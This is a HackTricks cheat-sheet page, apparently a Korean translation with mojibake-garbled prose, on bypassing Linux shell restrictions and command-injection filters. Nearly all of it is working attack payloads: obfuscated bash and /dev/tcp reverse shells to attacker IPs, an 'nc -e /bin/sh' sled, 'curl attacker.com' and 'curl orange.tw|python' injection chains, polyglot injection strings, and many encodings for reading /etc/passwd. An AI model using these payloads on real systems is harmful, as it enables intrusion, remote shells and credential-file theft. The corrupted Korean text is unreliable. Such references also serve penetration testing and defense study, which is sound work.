๋ฆฌ๋ˆ…์Šค ์ œํ•œ ์šฐํšŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ผ๋ฐ˜์ ์ธ ์ œํ•œ ์šฐํšŒ

๋ฆฌ๋ฒ„์Šค ์…ธ

# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

์งง์€ Rev ์…ธ

#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0

์šฐํšŒ ๊ฒฝ๋กœ ๋ฐ ๊ธˆ์ง€๋œ ๋‹จ์–ด

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64

# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

๊ธˆ์ง€๋œ ๊ณต๋ฐฑ ์šฐํšŒ

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# Using tabs
echo "ls\x09-l" | bash

# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a

๋ฐฑ์Šฌ๋ž˜์‹œ ๋ฐ ์Šฌ๋ž˜์‹œ ์šฐํšŒ

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

ํŒŒ์ดํ”„ ์šฐํšŒ

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

16์ง„์ˆ˜ ์ธ์ฝ”๋”ฉ์„ ํ†ตํ•œ ์šฐํšŒ

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

IP ์šฐํšŒ

# Decimal IPs
127.0.0.1 == 2130706433

์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ ๋ฐ์ดํ„ฐ ์œ ์ถœ

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

ํ™˜๊ฒฝ ๋ณ€์ˆ˜์—์„œ ๋ฌธ์ž ๊ฐ€์ ธ์˜ค๊ธฐ

echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/

DNS ๋ฐ์ดํ„ฐ ์œ ์ถœ

์˜ˆ๋ฅผ ๋“ค์–ด burpcollab ๋˜๋Š” pingb๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‚ด์žฅ ๋ช…๋ น์–ด

์™ธ๋ถ€ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๊ณ  RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ์ œํ•œ๋œ ๋‚ด์žฅ ๋ช…๋ น์–ด ์ง‘ํ•ฉ์—๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ, ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ ์œ ์šฉํ•œ ์š”๋ น์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ๋ชจ๋“  ๋‚ด์žฅ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ, ๊ฐ์˜ฅ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ๋ชจ๋“  ์˜ต์…˜์„ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์•„์ด๋””์–ด๋Š” devploit์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค.
๋จผ์ € ๋ชจ๋“  ์…ธ ๋‚ด์žฅ ๋ช…๋ น์–ด๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์—ฌ๊ธฐ์— ๋ช‡ ๊ฐ€์ง€ ์ถ”์ฒœ ์‚ฌํ•ญ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

# Get list of builtins
declare builtins

# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash

# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")

# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa

# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords

# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}

# Read file with read
while read -r line; do echo $line; done < /etc/passwd

# Get env variables
declare

# Get history
history
declare history
declare historywords

# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!

ํด๋ฆฌ๊ธ€๋กฏ ๋ช…๋ น ์ฃผ์ž…

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

์ž ์žฌ์ ์ธ ์ •๊ทœ ํ‘œํ˜„์‹ ์šฐํšŒ

# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`

Bashfuscator

# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'

5์ž๋กœ RCE

# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file

## Finally execute the file "g"
http://host/?cmd=sh g


# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*

# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder

4์ž RCE

# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'

# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'

# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'

# got shell
'sh x'
'sh g'

Read-Only/Noexec/Distroless Bypass

ํŒŒ์ผ ์‹œ์Šคํ…œ์ด ์ฝ๊ธฐ ์ „์šฉ ๋ฐ noexec ๋ณดํ˜ธ๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด distroless ์ปจํ…Œ์ด๋„ˆ์— ์žˆ๋Š” ๊ฒฝ์šฐ์—๋„ ์ž„์˜์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ, ์‹ฌ์ง€์–ด ์…ธ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค!:

Bypass FS protections: read-only / no-exec / Distroless

Chroot & other Jails Bypass

Escaping from Jails

Space-Based Bash NOP Sled (โ€œBashsleddingโ€)

์ทจ์•ฝ์ ์ด system() ๋˜๋Š” ๋‹ค๋ฅธ ์…ธ์— ๋„๋‹ฌํ•˜๋Š” ์ธ์ˆ˜๋ฅผ ๋ถ€๋ถ„์ ์œผ๋กœ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค„ ๋•Œ, ์‹คํ–‰์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฝ๊ธฐ ์‹œ์ž‘ํ•˜๋Š” ์ •ํ™•ํ•œ ์˜คํ”„์…‹์„ ์•Œ์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ „ํ†ต์ ์ธ NOP ์Šฌ๋ ˆ๋“œ(์˜ˆ: \x90)๋Š” ์…ธ ๊ตฌ๋ฌธ์—์„œ ์ž‘๋™ํ•˜์ง€ ์•Š์ง€๋งŒ, Bash๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ์„ ํ–‰ ๊ณต๋ฐฑ์„ ๋ฌดํ•ดํ•˜๊ฒŒ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์‹ค์ œ ๋ช…๋ น ์•ž์— ๊ธด ๊ณต๋ฐฑ ๋˜๋Š” ํƒญ ๋ฌธ์ž์˜ ์‹œํ€€์Šค๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ Bash์šฉ NOP ์Šฌ๋ ˆ๋“œ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Payload sprayed into an environment variable / NVRAM entry
"                nc -e /bin/sh 10.0.0.1 4444"
# 16ร— spaces โ”€โ”€โ”€โ”˜ โ†‘ real command

ROP ์ฒด์ธ(๋˜๋Š” ๊ธฐํƒ€ ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ ์›์‹œ)์ด ๊ณต๊ฐ„ ๋ธ”๋ก ๋‚ด์˜ ์–ด๋А ๊ณณ์—๋“  ๋ช…๋ น ํฌ์ธํ„ฐ๋ฅผ ๋ฐฐ์น˜ํ•˜๋ฉด, Bash ํŒŒ์„œ๋Š” ๋‹จ์ˆœํžˆ ๊ณต๋ฐฑ์„ ๊ฑด๋„ˆ๋›ฐ๊ณ  nc์— ๋„๋‹ฌํ•˜์—ฌ ๋ช…๋ น์„ ์‹ ๋ขฐ์„ฑ ์žˆ๊ฒŒ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์‹ค์šฉ์ ์ธ ์‚ฌ์šฉ ์‚ฌ๋ก€:

  1. ๋ฉ”๋ชจ๋ฆฌ ๋งคํ•‘๋œ ๊ตฌ์„ฑ ๋ธ”๋กญ(์˜ˆ: NVRAM)์œผ๋กœ ํ”„๋กœ์„ธ์Šค ๊ฐ„์— ์ ‘๊ทผ ๊ฐ€๋Šฅ.
  2. ๊ณต๊ฒฉ์ž๊ฐ€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ •๋ ฌํ•˜๊ธฐ ์œ„ํ•ด NULL ๋ฐ”์ดํŠธ๋ฅผ ์“ธ ์ˆ˜ ์—†๋Š” ์ƒํ™ฉ.
  3. BusyBox ash/sh๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ž„๋ฒ ๋””๋“œ ์žฅ์น˜ โ€“ ์ด๋“ค์€ ๋˜ํ•œ ์„ ํ–‰ ๊ณต๋ฐฑ์„ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ› ๏ธ ์ด ํŠธ๋ฆญ์„ system()์„ ํ˜ธ์ถœํ•˜๋Š” ROP ๊ฐ€์ ฏ๊ณผ ๊ฒฐํ•ฉํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ ์ œ์•ฝ์ด ์žˆ๋Š” IoT ๋ผ์šฐํ„ฐ์—์„œ ์ต์Šคํ”Œ๋กœ์ž‡์˜ ์‹ ๋ขฐ์„ฑ์„ ๊ทน์ ์œผ๋กœ ์ฆ๊ฐ€์‹œํ‚ต๋‹ˆ๋‹ค.

์ฐธ๊ณ  ๋ฌธํ—Œ ๋ฐ ์ถ”๊ฐ€ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ